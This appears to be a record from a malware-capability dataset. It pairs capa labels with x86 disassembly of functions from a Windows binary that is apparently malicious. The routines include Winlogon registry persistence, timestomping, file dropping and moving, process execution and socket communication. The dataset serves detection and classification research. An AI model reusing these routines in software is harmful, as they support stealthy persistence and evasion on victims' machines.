joyce8/EMBER2024-capa huggingface dataset:
Function at 0x413f20
Capabilities:
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffa54
mov ebx, edx
mov edi, eax
lea eax, [esp + 0xc]
push eax
push 0x202
call sub.wsock32.dll_WSAStartup
mov eax, esp
xor ecx, ecx
mov edx, 4
call fcn.004030ec
push 0
push 2
push 2
call sub.wsock32.dll_socket
mov dword [esp + 4], eax
cmp dword [esp + 4], 0xffffffff
je 0x41413f
mov edx, 0x3e8
mov eax, dword [esp + 4]
call fcn.00413c80
mov word [esp + 0x59c], 2
push 0x35
call sub.wsock32.dll_htons
mov word [esp + 0x59e], ax
push ebx
call sub.wsock32.dll_inet_addr
mov esi, eax
mov dword [esp + 0x5a0], esi
inc esi
je 0x414130
lea eax, [esp + 0x19c]
xor ecx, ecx
mov edx, 0x400
call fcn.004030ec
call fcn.00402ff8
lea ebp, [esp + 0x19c]
mov eax, 0xfffe
call fcn.00403020
mov word [ebp], ax
push pe_nt_image_headers32
call sub.wsock32.dll_htons
mov word [ebp + 2], ax
push 1
call sub.wsock32.dll_htons
mov word [ebp + 4], ax
mov word [ebp + 6], 0
push edi
lea eax, [esp + 0x1ad]
push eax
call sub.kernel32.dll_lstrcpyA
mov dword [esp + 8], 0xd
xor ebx, ebx
jmp 0x414037
mov esi, dword [esp + 8]
add esi, ebx
cmp byte [esp + esi + 0x19c], 0
je 0x414044
cmp byte [esp + esi + 0x19c], 0x2e
jne 0x414036
mov eax, dword [esp + 8]
mov byte [esp + eax + 0x19b], bl
inc ebx
add dword [esp + 8], ebx
xor ebx, ebx
jmp 0x414037
inc ebx
push edi
call sub.kernel32.dll_lstrlenA
sub eax, 2
cmp ebx, eax
jl 0x414008
mov eax, dword [esp + 8]
mov byte [esp + eax + 0x19b], bl
push edi
call sub.kernel32.dll_lstrlenA
add eax, 0xf
lea ebx, [esp + eax + 0x19b]
push 1
call sub.wsock32.dll_htons
mov word [ebx], ax
push 1
call sub.wsock32.dll_htons
mov word [ebx + 2], ax
push 0x10
lea eax, [esp + 0x5a0]
push eax
push 0
push edi
call sub.kernel32.dll_lstrlenA
add eax, 0x10
add eax, 2
push eax
lea eax, [esp + 0x1ac]
push eax
mov eax, dword [esp + 0x18]
push eax
call sub.wsock32.dll_sendto
mov dword [esp + 8], 0x10
lea eax, [esp + 0x19c]
xor ecx, ecx
mov edx, 0x400
call fcn.004030ec
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x5a0]
push eax
push 0
push 0x400
lea eax, [esp + 0x1ac]
push eax
mov eax, dword [esp + 0x18]
push eax
call sub.wsock32.dll_recvfrom
cmp word [ebp + 6], 0
jne 0x4140fc
mov byte [esp], 0
mov byte [esp + 1], 0
mov byte [esp + 2], 0
mov byte [esp + 3], 0
jmp 0x414130
mov ebx, eax
sub ebx, 4
movzx eax, byte [esp + ebx + 0x19c]
mov byte [esp], al
movzx eax, byte [esp + ebx + 0x19d]
mov byte [esp + 1], al
movzx eax, byte [esp + ebx + 0x19e]
mov byte [esp + 2], al
movzx eax, byte [esp + ebx + 0x19f]
mov byte [esp + 3], al
mov eax, dword [esp + 4]
push eax
call sub.wsock32.dll_closesocket
call sub.wsock32.dll_WSACleanup
mov eax, dword [esp]
add esp, 0x5ac
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x416984
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x18], edx
mov esi, eax
xor eax, eax
push ebp
push 0x416a4d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
xor eax, eax
push ebp
push 0x416a2d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 3
push 0
push 3
push 0x80000000
mov eax, dword [0x432418]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00416c78
lea eax, [ebp - 0x18]
mov edx, 0x416a68
call fcn.00404148
mov eax, dword [ebp - 0x18]
call fcn.0040430c
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x416a23
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
push ebx
call sub.kernel32.dll_GetFileTime
push ebx
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
push esi
call sub.kernel32.dll_SetFileTime
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x416a37
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x416a54
lea eax, [ebp - 0x18]
call fcn.00403ec4
ret

Function at 0x416c78
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
mov eax, dword [ebp + 0xc]
call fcn.004042fc
xor eax, eax
push ebp
push 0x416cda
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 0xc]
call fcn.0040430c
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x104]
mov ecx, 0x104
call fcn.004040f8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x416ce1
lea eax, [ebp + 0xc]
call fcn.00403ec4
ret
Function at 0x417020
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.004042fc
mov eax, dword [ebp - 8]
call fcn.004042fc
xor eax, eax
push ebp
push 0x41717a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00403ec4
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.0040430c
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
cmp dword [ebp - 0xc], 0
je 0x41715f
xor eax, eax
push ebp
push 0x417143
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
push eax
push 0
lea eax, [ebp + 0xc]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.0040430c
mov esi, eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov eax, ebx
mov edx, dword [ebp - 0x10]
call fcn.0040459c
cmp dword [ebp + 0xc], 4
jne 0x4170f6
mov eax, ebx
mov edx, 0x417194
call fcn.00403f18
mov dword [ebp - 0x10], 4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0xc]
push eax
push 0
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x417139
mov edx, ebx
mov eax, dword [ebp - 0x14]
call fcn.004060c4
jmp 0x417139
lea eax, [ebp - 0x10]
push eax
mov eax, ebx
call fcn.0040436c
push eax
lea eax, [ebp + 0xc]
push eax
push 0
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x417139
cmp dword [ebp + 0xc], 7
jne 0x417129
mov edx, dword [ebp - 0x10]
dec edx
mov eax, ebx
call fcn.0040459c
jmp 0x417139
mov eax, dword [ebx]
call fcn.0040430c
mov edx, eax
mov eax, ebx
call fcn.004040bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41714d
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegFlushKey
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x417181
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403ee8
ret
Function at 0x417198
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
mov esi, eax
mov eax, dword [ebp + 0xc]
call fcn.004042fc
mov eax, dword [ebp + 8]
call fcn.004042fc
xor eax, eax
push ebp
push 0x4172da
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
lea eax, [ebp - 8]
push eax
push edi
push esi
call sub.advapi32.dll_RegCreateKeyA
cmp dword [ebp - 8], 0
je 0x4172bf
xor eax, eax
push ebp
push 0x4172a3
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 4
jne 0x417221
xor edx, edx
mov eax, dword [ebp + 8]
call fcn.004061b4
mov dword [ebp - 0xc], eax
push 4
lea eax, [ebp - 0xc]
push eax
push ebx
push 0
mov eax, dword [ebp + 0xc]
call fcn.0040430c
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete byte [ebp - 1]
jmp 0x417299
cmp ebx, 7
jne 0x417268
lea eax, [ebp + 8]
mov edx, 0x4172f8
call fcn.00404148
lea eax, [ebp + 8]
call fcn.0040436c
mov edi, eax
mov esi, dword [ebp + 8]
test esi, esi
je 0x417249
sub esi, 4
mov esi, dword [esi]
push esi
push edi
push ebx
push 0
mov eax, dword [ebp + 0xc]
call fcn.0040430c
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete byte [ebp - 1]
jmp 0x417299
mov esi, dword [ebp + 8]
test esi, esi
je 0x417274
sub esi, 4
mov esi, dword [esi]
push esi
mov eax, dword [ebp + 8]
call fcn.0040430c
push eax
push ebx
push 0
mov eax, dword [ebp + 0xc]
call fcn.0040430c
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4172ad
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegFlushKey
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4172e1
lea eax, [ebp + 8]
mov edx, 2
call fcn.00403ee8
ret
Function at 0x417bc0
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
call fcn.004042fc
xor eax, eax
push ebp
push 0x417cfc
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor eax, eax
push ebp
push 0x417cd4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [ebx + 4]
mov eax, dword [ebp + 0xc]
call fcn.0040fd2c
test al, al
jne 0x417cb4
mov eax, dword [ebp + 0xc]
call fcn.0040430c
mov esi, eax
push esi
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp + 0xc]
call fcn.00406b7c
test al, al
je 0x417c5a
lea eax, [ebp - 4]
call fcn.00416edc
cmp byte [ebp + 0x10], 0
je 0x417c43
call fcn.004190dc
mov eax, dword [ebp - 4]
call fcn.0040430c
mov edi, eax
push edi
push esi
call sub.kernel32.dll_MoveFileA
push edi
call sub.kernel32.dll_DeleteFileA
push 0
push 0x80000000
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 0xc]
call fcn.0040430c
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x417cb4
mov eax, esi
call fcn.00416984
xor ecx, ecx
xor edx, edx
mov eax, esi
call fcn.00406a54
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [ebx + 4]
mov eax, esi
call fcn.00406a28
push esi
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp + 0xc]
push eax
call fcn.004118fc
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [ebx + 4]
mov eax, dword [ebp + 0xc]
call fcn.0040fd2c
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x417cde
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x417d03
lea eax, [ebp - 4]
call fcn.00403ec4
lea eax, [ebp + 0xc]
call fcn.00403ec4
ret
Function at 0x417dfc
Capabilities:
Move file
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x417e04
push ecx
push ebx
xor eax, eax
push ebp
push 0x417fdb
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
mov edx, 0x417ff4
call fcn.00403f5c
lea eax, [ebp - 0x10]
mov edx, 0x41803c
call fcn.00403f5c
lea edx, [ebp - 8]
mov eax, 0x418088
call fcn.00406268
push 0x418088
lea eax, [ebp - 0x18]
push eax
call fcn.00416c78
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0xc]
call fcn.00406268
push 2
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x14]
call fcn.0040430c
mov edx, eax
lea eax, [ebp - 0x1c]
call fcn.004040bc
mov edx, dword [ebp - 0x1c]
mov ecx, 0x4180ac
mov eax, 0x80000002
call fcn.00417020
lea edx, [ebp - 0x20]
mov eax, dword [ebp - 4]
call fcn.00406268
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 8]
call fcn.00404458
test eax, eax
jg 0x417ebd
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 4]
call fcn.00406268
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
call fcn.00404458
test eax, eax
jg 0x417ebd
xor ebx, ebx
jmp 0x417ebf
mov bl, 1
test bl, bl
jne 0x417efd
push 0x4180ac
push dword [ebp - 4]
push 0x4180bc
push dword [ebp - 8]
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.00404210
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x14]
call fcn.0040430c
mov edx, eax
mov ecx, 2
mov eax, 0x80000002
call fcn.00417198
push 2
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x14]
call fcn.0040430c
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.004040bc
mov edx, dword [ebp - 0x2c]
mov ecx, 0x4180ac
mov eax, 0x80000002
call fcn.00417020
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.00406268
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.00404458
test eax, eax
jg 0x417f5f
lea edx, [ebp - 0x34]
mov eax, dword [ebp - 4]
call fcn.00406268
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xc]
call fcn.00404458
test eax, eax
jg 0x417f5f
xor ebx, ebx
jmp 0x417f61
mov bl, 1
mov eax, dword [0x441f14]
call fcn.00406b7c
test al, al
je 0x417fc0
lea eax, [ebp - 0x38]
mov ecx, 0x4180c8
mov edx, dword [0x441f14]
call fcn.00404194
mov eax, dword [ebp - 0x38]
call fcn.0040430c
push eax
mov eax, dword [0x441f14]
call fcn.0040430c
push eax
call sub.kernel32.dll_MoveFileA
push 4
push 0
lea eax, [ebp - 0x3c]
mov ecx, 0x4180c8
mov edx, dword [0x441f14]
call fcn.00404194
mov eax, dword [ebp - 0x3c]
call fcn.0040430c
push eax
call fcn.00417458
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x417fe2
lea eax, [ebp - 0x3c]
mov edx, 0xf
call fcn.00403ee8
ret
Function at 0x4187e8
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], eax
mov esi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x4188ff
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0x28]
mov edx, esi
call fcn.004040bc
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
mov edx, 0x418918
call fcn.00404194
mov eax, dword [ebp - 0x24]
call fcn.0040430c
push eax
push 0
push 0xf001f
call sub.kernel32.dll_OpenFileMappingA
test eax, eax
jne 0x4188d1
push 1
lea eax, [ebp - 0x20]
push eax
call sub.advapi32.dll_InitializeSecurityDescriptor
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x20]
push eax
call sub.advapi32.dll_SetSecurityDescriptorDacl
mov dword [ebp - 0xc], 0xc
lea eax, [ebp - 0x20]
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x30]
mov edx, esi
call fcn.004040bc
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x2c]
mov edx, 0x418918
call fcn.00404194
mov eax, dword [ebp - 0x2c]
call fcn.0040430c
push eax
mov eax, dword [ebp + 0xc]
push eax
push 0
push 4
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
test eax, eax
je 0x4188e4
push 0
push 0
push 0
push 0xf001f
push eax
call sub.kernel32.dll_MapViewOfFile
mov ebx, eax
mov eax, ebx
xor ecx, ecx
mov edx, 4
call fcn.004030ec
jmp 0x4188e4
push 0
push 0
push 0
push 0xf001f
push eax
call sub.kernel32.dll_MapViewOfFile
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x418906
lea eax, [ebp - 0x30]
mov edx, 4
call fcn.00403ee8
ret

Function at 0x4189f4
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
mov eax, dword [esp + 4]
cmp eax, 6
jae 0x418a15
cmp eax, 5
jae 0x418a19
xor eax, eax
jmp 0x418a1b
mov al, 1
add esp, 0x94
ret
Function at 0x418d2c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
xor eax, eax
push ebp
push 0x418e6a
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor edx, edx
push ebp
push 0x418e3d
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov edx, eax
lea ecx, [ebp - 0x10]
mov eax, dword [ebx + 4]
call fcn.0040fca8
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 0x418e88
call fcn.00404194
mov eax, dword [ebp - 0xc]
call fcn.0040430c
push eax
push 0
push 0
call fcn.004055e0
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
je 0x418e2f
mov eax, dword [ebx + 4]
call fcn.00417b80
test al, al
jne 0x418db3
mov eax, ebx
call fcn.0040d888
mov eax, dword [ebx + 4]
call fcn.00417b80
test al, al
je 0x418e33
mov esi, dword [ebx + 4]
mov eax, esi
mov edx, dword [eax + 0x3c]
add edx, eax
mov eax, edx
movzx eax, word [eax + 0x16]
and ax, 0x2000
cmp ax, 0x2000
sete al
test al, al
je 0x418dfb
push 0
push 0
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov edx, eax
mov eax, esi
xor ecx, ecx
call fcn.0040ef30
test eax, eax
seta byte [ebp - 5]
jmp 0x418e33
lea eax, [ebp - 4]
call fcn.00416d88
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004074c4
mov eax, dword [ebp - 4]
push eax
call fcn.004118fc
push 1
mov eax, dword [ebp - 4]
call fcn.0040430c
push eax
call sub.kernel32.dll_WinExec
cmp eax, 0x1f
seta byte [ebp - 5]
jmp 0x418e33
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x418e47
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x418e71
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00403ee8
lea eax, [ebp - 4]
call fcn.00403ec4
ret
Function at 0x419160
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x430], edx
mov dword [ebp - 0x42c], edx
mov dword [ebp - 0x428], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004042fc
xor eax, eax
push ebp
push 0x419325
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x421]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0xc]
mov edx, 0x419340
call fcn.00403f5c
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
call fcn.0040430c
mov ebx, eax
push ebx
call sub.version.dll_GetFileVersionInfoSizeA
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
call fcn.00402c60
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x4192da
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
push eax
push ebx
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x4192d0
lea eax, [ebp - 8]
mov edx, 0x419354
call fcn.00403f5c
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 8]
call fcn.0040430c
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x4192d0
push 0x419378
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
shr eax, 0x10
movzx eax, ax
mov edx, dword [ebp - 0x20]
movzx edx, word [edx]
shl edx, 0x10
or eax, edx
lea ecx, [ebp - 0x428]
mov edx, 8
call fcn.00406080
push dword [ebp - 0x428]
push 0x419394
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404210
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x42c]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00404194
mov eax, dword [ebp - 0x42c]
call fcn.0040430c
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x4192d0
lea eax, [ebp - 0x430]
mov edx, dword [ebp - 0x20]
call fcn.00404744
mov edx, dword [ebp - 0x430]
mov eax, 0x41939c
call fcn.004048f8
test eax, eax
setg byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4192e4
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
call fcn.00402c7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41932c
lea eax, [ebp - 0x430]
call fcn.00404630
lea eax, [ebp - 0x42c]
mov edx, 2
call fcn.00403ee8
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403ee8
ret

Function at 0x419498
Capabilities:
Create thread
Move file

Disassembly:
mov eax, dword [0x441f0c]
call fcn.00419160
test al, al
jne 0x4194ff
mov eax, dword [0x432440]
call fcn.0040430c
push eax
mov eax, dword [0x441f0c]
call fcn.0040430c
push eax
call sub.kernel32.dll_MoveFileA
push 0
mov eax, dword [0x441f0c]
push eax
mov eax, dword [0x441f3c]
push eax
call fcn.00417bc0
push 0
mov eax, dword [0x441f10]
push eax
mov eax, dword [0x441f3c]
push eax
call fcn.00417bc0
mov eax, dword [0x43d4f8]
push eax
push 0
push 0
push 0x419448
push 0
push 0
call sub.kernel32.dll_CreateThread
ret
Function at 0x4195d4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x41971e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00413128
mov eax, dword [0x441f08]
call fcn.00407cd0
xor eax, eax
push ebp
push 0x4196dc
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00417dfc
mov eax, dword [0x441f20]
call fcn.00418a24
push 0
mov eax, dword [0x441f20]
push eax
mov eax, dword [0x441f28]
push eax
call fcn.00417bc0
push 0
mov eax, dword [0x432438]
push eax
mov eax, dword [0x441f2c]
push eax
call fcn.00417bc0
push 4
mov eax, dword [0x432434]
call fcn.0040430c
push eax
mov eax, dword [0x432438]
call fcn.0040430c
push eax
call fcn.004177d0
mov eax, dword [0x432438]
push eax
call fcn.00413678
mov eax, dword [0x432438]
push eax
call fcn.00413780
mov eax, dword [0x43d4f8]
push eax
push 0
push 0
push 0x419500
push 0
push 0
call sub.kernel32.dll_CreateThread
mov eax, dword [0x43d4f8]
push eax
push 0
push 0
push 0x4181b8
push 0
push 0
call sub.kernel32.dll_CreateThread
mov eax, dword [0x43d4f8]
push eax
push 0
push 0
push 0x4183f0
push 0
push 0
call sub.kernel32.dll_CreateThread
lea eax, [ebp - 4]
mov ecx, 0x419734
mov edx, dword [0x432420]
call fcn.00404194
mov eax, dword [ebp - 4]
call fcn.00406b64
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4196e6
mov eax, dword [0x441f08]
call fcn.00407cd8
mov eax, dword [0x43d4f8]
push eax
push 0
push 0
push 0x4193b0
push 0
push 0
call sub.kernel32.dll_CreateThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419725
lea eax, [ebp - 4]
call fcn.00403ec4
ret